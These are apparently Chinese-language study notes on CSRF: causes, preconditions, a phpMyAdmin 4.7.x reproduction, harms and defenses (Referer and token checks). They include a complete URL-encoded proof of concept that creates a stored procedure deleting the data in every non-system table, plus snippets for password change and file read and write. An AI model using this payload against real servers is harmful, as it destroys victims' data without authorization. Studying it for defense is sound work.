CSRF(Cross Site Request Forgery, 跨站请求伪造)是一种网络的攻击方式,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF。
CSRF漏洞是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。
条件
1.正常用户需要登录站点
2.攻击者需要知道站点请求内容(构造恶意请求)
3.需要正常用户在登录成功的浏览器中诱导点击恶意链接
4.服务器无验证或验证不严谨
自动提交
1 | setTimeout("document.form.submit",1000) |
复现
phpmyadmin 4.7.x CSRF漏洞
修改密码
1 | set password=password('') |
写文件
1 | show variables like '%secure_file_priv%'; |
读文件
1 | select load_file(); |
需要使用OOB
删库
完整SQL语句
1 | DROP PROCEDURE IF EXISTS EMPT;DELIMITER $$ |
POC
1 | DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A |
CSRF高危触发点
论坛交流
用户中心
反馈留言
交易管理
后台管理
CSRF漏洞危害
CSRF漏洞会导致受害人在不知情的情况下向论坛发帖子、订阅邮件列表、网购或股票交易,或变更用户名或口令。对受到防火墙保护的所有web应用程序而言,CSRF攻击都能绕过防火墙攻击web应用。
CSRF漏洞还可以和XSS等漏洞结合使用,从而进一步加大了该漏洞的危害。
CSRF+XXE
CSRF+LFI
CSRF+XSS
伪造HTTP请求进行未授权操作
篡改、盗取目标网站上的重要用户数据
未经允许执行对用户名誉或者资产有害的操作,比如:散播不良信息、进行消费等
如果通过使用社工等方式攻击网站管理员,会危害网站本身的安全性
作为其他攻击向量的辅助攻击手法,比如配合XSS
传播CSRF蠕虫
CSRF防御
1.Referrer验证
2. Token验证
3. 用户身份验证
绑定邮箱、手机验证码